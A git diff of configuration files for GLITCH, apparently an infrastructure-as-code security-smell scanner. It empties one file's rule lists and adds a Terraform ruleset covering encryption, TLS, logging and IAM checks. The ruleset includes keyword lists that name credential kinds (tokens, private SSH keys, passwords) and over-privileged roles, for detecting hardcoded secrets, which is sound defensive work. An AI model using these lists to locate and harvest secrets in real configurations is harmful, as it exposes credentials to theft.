"attribute": "cache_data_encrypted", - "parents": ["settings"], "values": ["true"], "required": "yes", "msg": "settings.cache_data_encrypted"}, - {"au_type": ["resource.aws_athena_database"], "attribute": "encryption_option", "parents": ["encryption_configuration"], - "values": ["sse_kms", "sse_s3", "cse_kms"], "required": "yes", "msg": "encryption_configuration.encryption_option"}, - {"au_type": ["resource.aws_athena_workgroup"], "attribute": "result_configuration", "parents": ["configuration"], - "values": [""], "required": "yes", - "msg": "configuration.result_configuration.encryption_configuration.encryption_option"}, - {"au_type": ["resource.aws_athena_workgroup"], "attribute": "encryption_configuration", - "parents": ["result_configuration"], "values": [""], "required": "yes", - "msg": "configuration.result_configuration.encryption_configuration.encryption_option"}, - {"au_type": ["resource.aws_athena_workgroup"], "attribute": "encryption_option", "parents": ["encryption_configuration"], - "values": ["sse_kms", "sse_s3", "cse_kms"], "required": "yes", - "msg": "configuration.result_configuration.encryption_configuration.encryption_option"}, - {"au_type": ["resource.aws_codebuild_project"], "attribute": "encryption_disabled", - "parents": ["artifacts", "secondary_artifacts"], "values": ["false"], "required": "no"}, - {"au_type": ["resource.aws_docdb_cluster", "resource.aws_rds_cluster", "resource.aws_db_instance", - "resource.aws_db_cluster_snapshot", "resource.aws_rds_cluster_instance", "resource.aws_rds_global_cluster", - "resource.aws_neptune_cluster"], "attribute": "storage_encrypted", "parents": [""], "values": ["true"], - "required": "yes", "msg": "storage_encrypted"}, - {"au_type": ["resource.aws_dax_cluster", "resource.aws_dynamodb_table"], "attribute": "enabled", - "parents": ["server_side_encryption"], "values": ["true"], "required": "yes", "msg": "server_side_encryption.enabled"}, - {"au_type": ["resource.aws_ebs_volume", "resource.aws_efs_file_system"], "attribute": "encrypted", "parents": [""], - "values": ["true"], "required": "yes", "msg": "encrypted"}, - {"au_type": ["resource.aws_instance", "resource.aws_launch_configuration"], "attribute": "encrypted", - "parents": ["root_block_device"], "values": ["true"], "required": "yes", "msg": "root_block_device.encrypted"}, - {"au_type": ["resource.aws_instance", "resource.aws_launch_configuration"], "attribute": "encrypted", - "parents": ["ebs_block_device"], "values": ["true"], "required": "no"}, - {"au_type": ["resource.aws_ami"], "attribute": "encrypted", - "parents": ["ebs_block_device", "root_block_device"], "values": ["true"], "required": "no"}, - {"au_type": ["resource.aws_ecs_task_definition"], "attribute": "transit_encryption", - "parents": ["efs_volume_configuration"], "values": ["enabled"], "required": "no"}, - {"au_type": ["resource.aws_eks_cluster"], "attribute": "provider", "parents": ["encryption_config"], - "values": [""], "required": "yes", "msg": "encryption_config.provider.key_arn"}, - {"au_type": ["resource.aws_eks_cluster"], "attribute": "key_arn", "parents": ["provider"], "values": ["any_not_empty"], - "required": "yes", "msg": "encryption_config.provider.key_arn"}, - {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "enabled", "parents": ["encrypt_at_rest"], - "values": ["true"], "required": "yes", "msg": "encrypt_at_rest.enabled"}, - {"au_type": ["resource.aws_elasticache_replication_group"], "attribute": "at_rest_encryption_enabled", - "parents": [""], "values": ["true"], "required": "yes", "msg": "at_rest_encryption_enabled"}, - {"au_type": ["resource.aws_kinesis_stream"], "attribute": "encryption_type", - "parents": [""], "values": ["kms"], "required": "yes", "msg": "encryption_type"}, - {"au_type": ["resource.aws_msk_cluster"], "attribute": "encryption_in_transit", "parents": ["encryption_info"], - "values": [""], "required": "yes", "msg": "encryption_info.encryption_in_transit"}, - {"au_type": ["resource.aws_msk_cluster"], "attribute": "client_broker", - "parents": ["encryption_in_transit"], "values": ["tls"], "required": "no"}, - {"au_type": ["resource.aws_msk_cluster"], "attribute": "in_cluster", - "parents": ["encryption_in_transit"], "values": ["true"], "required": "no"}, - {"au_type": ["resource.aws_redshift_cluster"], "attribute": "encrypted", - "parents": [""], "values": ["true"], "required": "yes", "msg": "encrypted"}, - {"au_type": ["resource.aws_workspaces_workspace"], "attribute": "root_volume_encryption_enabled", "parents": [""], - "values": ["true"], "required": "yes", "msg": "root_volume_encryption_enabled"}, - {"au_type": ["resource.aws_workspaces_workspace"], "attribute": "user_volume_encryption_enabled", "parents": [""], - "values": ["true"], "required": "yes", "msg": "user_volume_encryption_enabled"}, - {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "enabled", "parents": ["node_to_node_encryption"], - "values": ["true"], "required": "yes", "msg": "node_to_node_encryption.enabled"}, - {"au_type": ["resource.aws_elasticache_replication_group"], "attribute": "transit_encryption_enabled", - "parents": [""], "values": ["true"], "required": "yes", "msg": "transit_encryption_enabled"}, - {"au_type": ["resource.aws_ecr_repository"], "attribute": "encryption_type", "parents": ["encryption_configuration"], - "values": ["kms"], "required": "yes", "msg": "encryption_configuration.encryption_type"}, - {"au_type": ["resource.aws_s3_bucket_server_side_encryption_configuration"], - "attribute": "apply_server_side_encryption_by_default", "parents": ["rule"], - "values": [""], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.sse_algorithm"}, - {"au_type": ["resource.aws_s3_bucket_server_side_encryption_configuration"], - "attribute": "sse_algorithm", "parents": ["apply_server_side_encryption_by_default"], - "values": ["aes256", "aws:kms"], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.sse_algorithm"}] +missing_encryption = [] -firewall = [{"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "web_acl_id", "parents": [""], - "values": ["any_not_empty"], "required": "yes", "msg": "web_acl_id"}, - {"au_type": ["resource.aws_alb", "resource.aws_lb", "resource.aws_elb"], "attribute": "internal", "parents": [""], "values": ["true"], - "required": "yes", "msg": "internal"}, - {"au_type": ["resource.aws_alb", "resource.aws_lb"], "attribute": "drop_invalid_header_fields", "parents": [""], - "values": ["true"], "required": "yes", "msg": "drop_invalid_header_fields"}, - {"au_type": ["resource.google_compute_instance"], "attribute": "can_ip_forward", "parents": [""], "values": ["false"], - "required": "no"}, - {"au_type": ["resource.google_compute_firewall"], "attribute": "destination_ranges[0]", "parents": [""], "values": [""], - "required": "yes", "msg": "destination_ranges"}, - {"au_type": ["resource.google_compute_firewall"], "attribute": "source_ranges[0]", "parents": [""], "values": [""], - "required": "yes", "msg": "source_ranges"}, - {"au_type": ["resource.openstack_fw_rule_v1"], "attribute": "destination_ip_address", "parents": [""], "values": [""], - "required": "yes", "msg": "destination_ip_address"}, - {"au_type": ["resource.openstack_fw_rule_v1"], "attribute": "source_ip_address", "parents": [""], "values": [""], - "required": "yes", "msg": "source_ip_address"}, - {"au_type": ["resource.azurerm_key_vault"], "attribute": "default_action", "parents": ["network_acls"], - "values": ["deny"], "required": "yes", "msg": "network_acls.default_action"}, - {"au_type": ["resource.azurerm_key_vault"], "attribute": "bypass", "parents": ["network_acls"], - "values": ["azureservices"], "required": "yes", "msg": "network_acls.bypass"}, - {"au_type": ["resource.google_container_cluster"], "attribute": "cidr_blocks", "parents": ["master_authorized_networks_config"], - "values": [""], "required": "yes", "msg": "master_authorized_networks_config.cidr_blocks.cidr_block"}, - {"au_type": ["resource.google_container_cluster"], "attribute": "cidr_block", "parents": ["cidr_blocks"], - "values": [""], "required": "yes", "msg": "master_authorized_networks_config.cidr_blocks.cidr_block"}] +firewall = [] -missing_threats_detection_alerts = [{"au_type": ["resource.azurerm_mssql_server_security_alert_policy"], - "attribute": "disabled_alerts[0]", "parents": [""], "values": [""], "required": "must_not_exist"}, - {"au_type": ["resource.github_repository"], "attribute": "vulnerability_alerts", - "parents": [""], "values": ["true"], "required": "yes", "msg": "vulnerability_alerts"}, - {"au_type": ["resource.azurerm_mssql_server_security_alert_policy"], "attribute": "email_addresses[0]", - "parents": [""], "values": [""], "required": "yes", "msg": "email_addresses"}, - {"au_type": ["resource.azurerm_mssql_server_security_alert_policy"], "attribute": "email_account_admins", - "parents": [""], "values": ["true"], "required": "yes", "msg": "email_account_admins"}, - {"au_type": ["resource.azurerm_security_center_contact"], "attribute": "alert_notifications", - "parents": [""], "values": ["true"], "required": "yes", "msg": "alert_notifications"}, - {"au_type": ["resource.azurerm_security_center_contact"], "attribute": "alerts_to_admins", - "parents": [""], "values": ["true"], "required": "yes", "msg": "alerts_to_admins"}, - {"au_type": ["resource.azurerm_security_center_contact"], "attribute": "phone", - "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "phone"}, - {"au_type": ["resource.aws_ecr_repository"], "attribute": "scan_on_push", "parents": ["image_scanning_configuration"], - "values": ["true"], "required": "yes", "msg": "image_scanning_configuration.scan_on_push"}] +missing_threats_detection_alerts = [] -password_key_policy = [{"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "password_reuse_prevention", - "parents": [""], "values": ["5"], "required": "yes", "msg": "password_reuse_prevention", "logic": "gte"}, - {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "require_lowercase_characters", - "parents": [""], "values": ["true"], "required": "yes", "msg": "require_lowercase_characters", "logic": "equal"}, - {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "require_numbers", - "parents": [""], "values": ["true"], "required": "yes", "msg": "require_numbers", "logic": "equal"}, - {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "require_symbols", - "parents": [""], "values": ["true"], "required": "yes", "msg": "require_symbols", "logic": "equal"}, - {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "require_uppercase_characters", - "parents": [""], "values": ["true"], "required": "yes", "msg": "require_uppercase_characters", "logic": "equal"}, - {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "max_password_age", - "parents": [""], "values": ["90"], "required": "yes", "msg": "max_password_age", "logic": "lte"}, - {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "minimum_password_length", - "parents": [""], "values": ["14"], "required": "yes", "msg": "minimum_password_length", "logic": "gte"}, - {"au_type": ["resource.azurerm_key_vault_secret"], "attribute": "expiration_date", - "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "expiration_date", "logic": "equal"}, - {"au_type": ["resource.azurerm_key_vault"], "attribute": "purge_protection_enabled", - "parents": [""], "values": ["true"], "required": "yes", "msg": "purge_protection_enabled", "logic": "equal"}, - {"au_type": ["resource.azurerm_key_vault_key"], "attribute": "expiration_date", "parents": [""], - "values": ["any_not_empty"], "required": "yes", "msg": "expiration_date", "logic": "equal"}] +password_key_policy = [] -key_management = [{"au_type": ["resource.aws_cloudwatch_log_group", "resource.aws_docdb_cluster", "resource.aws_ebs_volume", - "resource.aws_secretsmanager_secret", "resource.aws_kinesis_stream", "resource.aws_cloudtrail", "resource.aws_rds_cluster", - "resource.aws_db_instance", "resource.aws_redshift_cluster", "resource.aws_db_instance_automated_backups_replication", - "resource.aws_rds_cluster_activity_stream"], - "attribute": "kms_key_id", "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "kms_key_id"}, - {"au_type": ["resource.aws_dynamodb_table"], "attribute": "kms_key_arn", "parents": ["server_side_encryption"], - "values": ["any_not_empty"], "required": "yes", "msg": "server_side_encryption.kms_key_arn"}, - {"au_type": ["resource.aws_neptune_cluster"], "attribute": "kms_key_arn", "parents": [""], - "values": ["any_not_empty"], "required": "yes", "msg": "kms_key_arn"}, - {"au_type": ["resource.aws_ecr_repository"], "attribute": "kms_key", "parents": ["encryption_configuration"], - "values": ["any_not_empty"], "required": "yes", "msg": "encryption_configuration.kms_key"}, - {"au_type": ["resource.aws_kms_key"], "attribute": "enable_key_rotation", "parents": [""], - "values": ["true"], "required": "yes", "msg": "enable_key_rotation"}, - {"au_type": ["resource.aws_rds_cluster_instance", "resource.aws_db_instance"], "attribute": "performance_insights_kms_key_id", - "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "performance_insights_kms_key_id"}, - {"au_type": ["resource.google_kms_crypto_key"], "attribute": "rotation_period", "parents": [""], - "values": [""], "required": "yes", "msg": "rotation_period"}, - {"au_type": ["resource.google_compute_disk"], "attribute": "kms_key_self_link", "parents": ["disk_encryption_key"], - "values": ["any_not_empty"], "required": "yes", "msg": "disk_encryption_key.kms_key_self_link"}, - {"au_type": ["resource.google_compute_instance"], "attribute": "kms_key_self_link", "parents": ["boot_disk"], - "values": ["any_not_empty"], "required": "yes", "msg": "boot_disk.kms_key_self_link"}, - {"au_type": ["resource.google_compute_instance"], "attribute": "block-project-ssh-keys", "parents": ["metadata"], - "values": ["true"], "required": "yes", "msg": "metadata.block-project-ssh-keys"}, - {"au_type": ["resource.aws_s3_bucket_server_side_encryption_configuration"], - "attribute": "apply_server_side_encryption_by_default", "parents": ["rule"], - "values": [""], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.kms_master_key_id"}, - {"au_type": ["resource.aws_s3_bucket_server_side_encryption_configuration"], - "attribute": "kms_master_key_id", "parents": ["apply_server_side_encryption_by_default"], - "values": ["any_not_empty"], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.kms_master_key_id"}, - {"au_type": ["resource.aws_sns_topic", "resource.aws_sqs_queue"], "attribute": "kms_master_key_id", "parents": [""], - "values": ["any_not_empty"], "required": "yes", "msg": "kms_master_key_id"}, - {"au_type": ["resource.digitalocean_droplet"], "attribute": "ssh_keys[0]", "parents": [""], - "values": [""], "required": "yes", "msg": "ssh_keys"}, - {"au_type": ["resource.google_storage_bucket"], "attribute": "default_kms_key_name", "parents": ["encryption"], - "values": ["any_not_empty"], "required": "yes", "msg": "encryption.default_kms_key_name"}] +key_management = [] -network_security_rules = [{"au_type": ["resource.azurerm_storage_account_network_rules"], "attribute": "default_action", - "parents": [""], "values": ["deny"], "required": "yes", "msg": "default_action"}, - {"au_type": ["resource.azurerm_storage_account"], "attribute": "default_action", - "parents": ["network_rules"], "values": ["deny"], "required": "yes", "msg": "network_rules.default_action"}, - {"au_type": ["resource.aws_network_acl_rule"], "attribute": "protocol", - "parents": [""], "values": ["tcp"], "required": "no"}, - {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "network_policy", "parents": ["network_profile"], - "values": ["calico", "azure"], "required": "yes", "msg": "network_profile.network_policy"}, - {"au_type": ["resource.azurerm_synapse_workspace"], "attribute": "managed_virtual_network_enabled", "parents": [""], - "values": ["true"], "required": "yes", "msg": "managed_virtual_network_enabled"}, - {"au_type": ["resource.google_compute_instance"], "attribute": "serial-port-enable", "parents": ["metadata"], - "values": ["false"], "required": "no"}, - {"au_type": ["resource.google_container_cluster"], "attribute": "ip_allocation_policy", "parents": [""], - "values": [""], "required": "yes", "msg": "ip_allocation_policy"}, - {"au_type": ["resource.google_container_cluster"], "attribute": "enabled", "parents": ["network_policy"], - "values": ["true"], "required": "yes", "msg": "network_policy.enabled"}, - {"au_type": ["resource.google_project"], "attribute": "auto_create_network", "parents": [""], - "values": ["false"], "required": "yes", "msg": "auto_create_network"}] +network_security_rules = [] -google_iam_member_resources = ["resource.google_project_iam_member", "resource.google_project_iam_binding", - "resource.google_organization_iam_member", "resource.google_organization_iam_binding", - "resource.google_folder_iam_member", "resource.google_folder_iam_binding"] +google_iam_member_resources = [] -permission_iam_policies = [{"au_type": ["resource.google_project_iam_member", "resource.google_project_iam_binding", - "resource.google_organization_iam_member", "resource.google_organization_iam_binding", - "resource.google_folder_iam_member", "resource.google_folder_iam_binding"], - "attribute": "role", "parents": [""], "values": ["roles/owner", "roles/editor", "roles/iam.securityadmin", - "roles/iam.serviceaccountadmin", "roles/iam.serviceaccountkeyadmin", "roles/iam.serviceaccountuser", - "roles/iam.serviceaccounttokencreator", "roles/iam.workloadidentityuser", "roles/dataproc.editor", - "roles/dataproc.admin", "roles/dataflow.developer", "roles/resourcemanager.folderadmin", - "roles/resourcemanager.folderiamadmin", "roles/resourcemanager.projectiamadmin", "roles/resourcemanager.organizationadmin", - "roles/cloudasset.viewer", "roles/cloudasset.owner", "roles/serverless.serviceagent", "roles/dataproc.serviceagent"], - "required": "no", "logic": "diff"}] +permission_iam_policies = [] -logging = [{"au_type": ["resource.aws_cloudwatch_log_group"], "attribute": "retention_in_days", "parents": [""], - "values": ["1", "3", "5", "7", "14", "30", "60", "90", "120", "150", "180", "365", "400", "545", "731", "1827", "3653"], - "required": "yes", "msg": "retention_in_days"}, - {"au_type": ["resource.azurerm_storage_account"], "attribute": "logging", "parents": ["queue_properties"], - "values": [""], "required": "yes", "msg": "queue_properties.logging.delete"}, - {"au_type": ["resource.azurerm_storage_account"], "attribute": "logging", "parents": ["queue_properties"], - "values": [""], "required": "yes", "msg": "queue_properties.logging.read"}, - {"au_type": ["resource.azurerm_storage_account"], "attribute": "logging", "parents": ["queue_properties"], - "values": [""], "required": "yes", "msg": "queue_properties.logging.write"}, - {"au_type": ["resource.azurerm_storage_account"], "attribute": "delete", "parents": ["logging"], - "values": ["true"], "required": "yes", "msg": "queue_properties.logging.delete"}, - {"au_type": ["resource.azurerm_storage_account"], "attribute": "read", "parents": ["logging"], - "values": ["true"], "required": "yes", "msg": "queue_properties.logging.read"}, - {"au_type": ["resource.azurerm_storage_account"], "attribute": "write", "parents": ["logging"], - "values": ["true"], "required": "yes", "msg": "queue_properties.logging.write"}, - {"au_type": ["resource.aws_s3_bucket"], "attribute": "logging", "parents": [""], - "values": [""], "required": "yes", "msg": "logging"}, - {"au_type": ["resource.aws_apigatewayv2_stage", "resource.aws_api_gateway_stage"], "attribute": "destination_arn", - "parents": ["access_log_settings"], "values": ["any_not_empty"], "required": "yes", - "msg": "access_log_settings.destination_arn"}, - {"au_type": ["resource.aws_api_gateway_stage"], "attribute": "xray_tracing_enabled", "parents": [""], - "values": ["true"], "required": "yes", "msg": "xray_tracing_enabled"}, - {"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "bucket", "parents": ["logging_config"], - "values": ["any_not_empty"], "required": "yes", "msg": "logging_config.bucket"}, - {"au_type": ["resource.aws_cloudtrail"], "attribute": "enable_log_file_validation", "parents": [""], - "values": ["true"], "required": "yes", "msg": "enable_log_file_validation"}, - {"au_type": ["resource.aws_cloudtrail"], "attribute": "cloud_watch_logs_group_arn", "parents": [""], - "values": [""], "required": "yes", "msg": "cloud_watch_logs_group_arn"}, - {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "log_type", "parents": ["log_publishing_options"], - "values": ["index_slow_logs", "search_slow_logs", "es_application_logs", "audit_logs"], "required": "yes", - "msg": "log_publishing_options.log_type"}, - {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "enabled", "parents": ["log_publishing_options"], - "values": ["true"], "required": "no"}, - {"au_type": ["resource.aws_lambda_function"], "attribute": "mode", "parents": ["tracing_config"], - "values": ["active"], "required": "yes", "msg": "tracing_config.mode"}, - {"au_type": ["resource.aws_mq_broker"], "attribute": "audit", "parents": ["logs"], - "values": ["true"], "required": "yes", "msg": "logs.audit"}, - {"au_type": ["resource.aws_mq_broker"], "attribute": "general", "parents": ["logs"], - "values": ["true"], "required": "yes", "msg": "logs.general"}, - {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "oms_agent", "parents": ["addon_profile"], - "values": [""], "required": "yes", "msg": "addon_profile.oms_agent.log_analytics_workspace_id"}, - {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "log_analytics_workspace_id", "parents": ["oms_agent"], - "values": ["any_not_empty"], "required": "yes", "msg": "addon_profile.oms_agent.log_analytics_workspace_id"}, - {"au_type": ["resource.azurerm_network_watcher_flow_log"], "attribute": "days", "parents": ["retention_policy"], - "values": [""], "required": "yes", "msg": "retention_policy.days"}, - {"au_type": ["resource.azurerm_monitor_log_profile"], "attribute": "days", "parents": ["retention_policy"], - "values": [""], "required": "yes", "msg": "retention_policy.days"}, - {"au_type": ["resource.google_compute_subnetwork"], "attribute": "log_config", "parents": [""], - "values": [""], "required": "yes", "msg": "log_config"}, - {"au_type": ["resource.google_container_cluster"], "attribute": "logging_service", "parents": [""], - "values": ["logging.googleapis.com/kubernetes"], "required": "no"}, - {"au_type": ["resource.google_container_cluster"], "attribute": "monitoring_service", "parents": [""], - "values": ["monitoring.googleapis.com/kubernetes"], "required": "no"}, - {"au_type": ["resource.aws_rds_cluster_instance", "resource.aws_db_instance"], "attribute": "performance_insights_enabled", - "parents": [""], "values": ["true"], "required": "yes", "msg": "performance_insights_enabled"}] +logging = [] -google_sql_database_log_flags = [{"flag_name": "log_checkpoints", "value": "on", "required": "yes"}, - {"flag_name": "log_connections", "value": "on", "required": "yes"}, - {"flag_name": "log_disconnections", "value": "on", "required": "yes"}, - {"flag_name": "log_lock_waits", "value": "on", "required": "yes"}, - {"flag_name": "log_temp_files", "value": "0", "required": "yes"}, - {"flag_name": "log_min_messages", "value": "warning", "required": "no"}, - {"flag_name": "log_min_duration_statement", "value": "-1", "required": "no"}] +google_sql_database_log_flags = [] -possible_attached_resources_aws_route53 = ["aws_instance", "aws_eip", "aws_elb", "aws_lb", "aws_alb", "aws_route53_record", - "aws_s3_bucket", "aws_api_gateway_domain_name", "aws_elastic_beanstalk_environment", "aws_vpc_endpoint", - "aws_globalaccelerator_accelerator", "aws_cloudfront_distribution", "aws_db_instance", "aws_apigatewayv2_domain_name", - "aws_lightsail_instance"] +possible_attached_resources_aws_route53 = [] -versioning = [{"au_type": ["resource.aws_s3_bucket", "resource.digitalocean_spaces_bucket"], "attribute": "enabled", - "parents": ["versioning"], "values": ["true"], "required": "yes", "msg": "versioning.enabled"}] +versioning = [] -naming = [{"au_type": ["resource.aws_security_group", "resource.aws_security_group_rule", - "resource.aws_elasticache_security_group", "resource.openstack_networking_secgroup_v2", - "resource.openstack_networking_secgroup_rule_v2"],"attribute": "description", "parents": [""], - "values": ["any_not_empty"], "required": "yes", "msg": "description"}, - {"au_type": ["resource.aws_security_group"], "attribute": "description", - "parents": ["ingress", "egress"], "values": ["any_not_empty"], "required": "no"}] +naming = [] -replication = [{"au_type": ["resource.aws_s3_bucket_replication_configuration"], "attribute": "status", - "parents": ["rule"], "values": ["enabled"], "required": "yes", "msg": "rule.status"}] +replication = [] [design] exec_atomic_units = ["exec"] diff --git a/glitch/configs/terraform.ini b/glitch/configs/terraform.ini new file mode 100644 index 00000000..b5c4e9cd --- /dev/null +++ b/glitch/configs/terraform.ini @@ -0,0 +1,458 @@ +[security] +suspicious_words = ["bug", "debug", "todo", "to-do", "to_do", "to be implemented", "fix", + "issue", "issues", "problem", "solve", "hack", "ticket", "later", "incorrect", "fixme"] +passwords = ["pass", "pwd", "password", "passwd", "passno", "pass-no", "pass_no"] +users = ["root", "user", "uname", "username", "user-name", "user_name", "owner-name", + "owner_name", "admin", "login", "userid", "loginid"] +secrets = ["auth_token", "authetication_token","auth-token", "authentication-token", + "secret", "uuid", "crypt", "certificate", "token", "ssh_key", "md5", + "rsa", "ssl_content", "ca_content", "ssl-content", "ca-content", + "ssh_key_content", "ssh-key-content", "ssh_key_public", + "ssh-key-public", "ssh_key_private", "ssh-key-private", + "ssh_key_public_content", "ssh_key_private_content", + "ssh-key-public-content", "ssh-key-private-content", "raw_key"] +misc_secrets = [] +roles = [] +download_extensions = [] +ssh_dirs = ["source", "destination", "path", "directory", "src", "dest", "file"] +admin = ["admin", "root"] +checksum = [] +weak_crypt = ["md5", "sha1", "arcfour"] +weak_crypt_whitelist = ["checksum"] +url_http_white_list = ["localhost", "127.0.0.1"] +sensitive_data = ["user_data", "container_definitions", "custom_data"] +secret_value_assign = ["key_id=", "access_key=", "key=", "database_password=", "password=", "\"name\": \"database_password\""] + +policy_keywords = ["policy"] +policy_insecure_access_control = [{"keyword": "\"principal\":", "value": "\"\\*\""}, + {"keyword": "\"action\":", "value": "\"\\*\""}] +policy_authentication = [{"au_type": ["resource.aws_iam_group_policy"], "keyword": "\"aws:multifactorauthpresent\":", + "value": "\\[\"true\"\\]"}] + +configuration_keywords = ["configuration"] +encrypt_configuration = [{"au_type": ["resource.aws_emr_security_configuration"], + "keyword": "\"enableatrestencryption\":", "value": "true", "required": "yes"}, + {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"enableintransitencryption\":", + "value": "true", "required": "yes"}, + {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"encryptionmode\":", + "value": "\"sse-kms\"", "required": "yes"}, + {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"encryptionkeyprovidertype\":", + "value": "\"\"", "required": "must_not_exist"}, + {"au_type": ["resource.aws_emr_security_configuration"], "keyword": "\"awskmskey\":", + "value": "\"\"", "required": "must_not_exist"}] + +secrets_white_list = ["cloudfront_default_certificate", "client_cert_enabled", "api_key_required", "issue_client_certificate", + "kms_key_id", "kms_key_arn", "key_arn", "performance_insights_kms_key_id", "kms_master_key_id", "kms_key_self_link", "bypass", + "enable_key_rotation", "storage_account_access_key_is_secondary", "key_pair", "default_kms_key_name"] + +github_actions_resources = ["resource.github_actions_environment_secret", + "resource.github_actions_organization_secret", "resource.github_actions_secret"] + +integrity_policy = [{"au_type": ["resource.google_compute_instance"], "attribute": "enable_integrity_monitoring", + "parents": ["shielded_instance_config"], "values": ["true"], "required": "no"}, + {"au_type": ["resource.google_compute_instance"], "attribute": "enable_vtpm", + "parents": ["shielded_instance_config"], "values": ["true"], "required": "no"}, + {"au_type": ["resource.aws_ecr_repository"], "attribute": "image_tag_mutability", "parents": [""], + "values": ["immutable"], "required": "yes", "msg": "image_tag_mutability"}] + +ensure_https = [{"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "viewer_protocol_policy", + "parents": ["default_cache_behavior", "ordered_cache_behavior"], "values":["redirect-to-https", "https-only"], + "required": "yes", "msg": "cache_behavior.viewer_protocol_policy"}, + {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "enforce_https", "parents": ["domain_endpoint_options"], + "values": ["true"], "required": "yes", "msg": "domain_endpoint_options.enforce_https"}, + {"au_type": ["resource.aws_alb_listener", "resource.aws_lb_listener"], "attribute": "protocol", "parents": [""], + "values": ["https", "tls"], "required": "yes", "msg": "protocol"}, + {"au_type": ["resource.azurerm_app_service", "resource.azurerm_app_service_slot", "resource.azurerm_function_app", + "resource.azurerm_function_app_slot", "resource.azurerm_linux_web_app", "resource.azurerm_windows_web_app"], + "attribute": "https_only", "parents": [""], "values": ["true"], "required": "yes", "msg": "https_only"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "enable_https_traffic_only", + "parents": [""], "values": ["true"], "required": "no"}, + {"au_type": ["resource.digitalocean_loadbalancer"], "attribute": "entry_protocol", + "parents": ["forwarding_rule"], "values": ["https"], "required": "no"}] + +ssl_tls_policy = [{"au_type": ["resource.aws_api_gateway_domain_name"], "attribute": "security_policy", + "parents": [""], "values": ["tls_1_2", "tls_1_3"], "required": "yes", "msg": "security_policy"}, + {"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "minimum_protocol_version", + "parents": ["viewer_certificate"], "values": ["tlsv1.2_2018", "tlsv1.2_2019", "tlsv1.2_2021"], "required": "yes", + "msg": "viewer_certificate.minimum_protocol_version"}, + {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "tls_security_policy", + "parents": ["domain_endpoint_options"], "values": ["policy-min-tls-1-2-2019-07"], "required": "yes", + "msg": "domain_endpoint_options.tls_security_policy"}, + {"au_type": ["resource.aws_alb_listener", "resource.aws_lb_listener"], "attribute": "ssl_policy", "parents": [""], + "values": ["elbsecuritypolicy-tls-1-2-2017-01", "elbsecuritypolicy-tls-1-2-ext-2018-06"], "required": "no"}, + {"au_type": ["resource.azurerm_app_service", "resource.azurerm_app_service_slot", "resource.azurerm_function_app"], + "parents": ["site_config"], "attribute": "min_tls_version", "values": ["1.2"], "required": "no"}, + {"au_type": ["resource.google_compute_ssl_policy"], "attribute": "min_tls_version", "parents": [""], + "values": ["tls_1_2"], "required": "yes", "msg": "min_tls_version"}, + {"au_type": ["resource.azurerm_postgresql_server", "resource.azurerm_mariadb_server", "resource.azurerm_mysql_server"], + "attribute": "ssl_enforcement_enabled", "parents": [""], "values": ["true"], "required": "yes", + "msg": "ssl_enforcement_enabled"}, + {"au_type": ["resource.azurerm_mysql_server", "resource.azurerm_postgresql_server"], + "attribute": "ssl_minimal_tls_version_enforced", "parents": [""], "values": ["tls1_2"], "required": "no"}, + {"au_type": ["resource.azurerm_mssql_server"], "attribute": "minimum_tls_version", + "parents": [""], "values": ["1.2"], "required": "no"}, + {"au_type": ["resource.google_sql_database_instance"], "attribute": "ip_configuration", "parents": ["settings"], + "values": [""], "required": "yes", "msg": "settings.ip_configuration.require_ssl"}, + {"au_type": ["resource.google_sql_database_instance"], "attribute": "require_ssl", "parents": ["ip_configuration"], + "values": ["true"], "required": "yes", "msg": "settings.ip_configuration.require_ssl"}, + {"au_type": ["resource.azurerm_app_service"], "attribute": "client_cert_enabled", "parents": [""], + "values": ["true"], "required": "yes", "msg": "client_cert_enabled"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "min_tls_version", "parents": [""], + "values": ["tls1_2"], "required": "no"}] + +ensure_dnssec = [{"au_type": ["resource.google_dns_managed_zone"], "attribute": "state", + "parents": ["dnssec_config"], "values": ["on"], "required": "yes", "msg": "dnssec_config.state"}] + +use_public_ip = [{"au_type": ["resource.aws_launch_configuration", "resource.aws_instance"], + "attribute": "associate_public_ip_address", "parents": [""], "values": ["false"], "required": "no"}, + {"au_type": ["resource.aws_subnet"], "attribute": "map_public_ip_on_launch", "parents": [""], + "values": ["false"], "required": "no"}, + {"au_type": ["resource.google_compute_instance"], "attribute": "access_config", "parents": ["network_interface"], + "values": [""], "required": "must_not_exist"}, + {"au_type": ["resource.opc_compute_ip_address_reservation"], "attribute": "ip_address_pool", "parents": [""], + "values": ["cloud-ippool"], "required": "no"}] + +insecure_access_control = [{"au_type": ["resource.aws_eks_cluster"], "attribute": "endpoint_public_access", + "parents": ["vpc_config"], "values": ["false"], "required": "yes", "msg": "vpc_config.endpoint_public_access"}, + {"au_type": ["resource.aws_eks_cluster"], "attribute": "public_access_cidrs[0]", "parents": ["vpc_config"], + "values": [""], "required": "yes", "msg": "vpc_config.public_access_cidrs"}, + {"au_type": 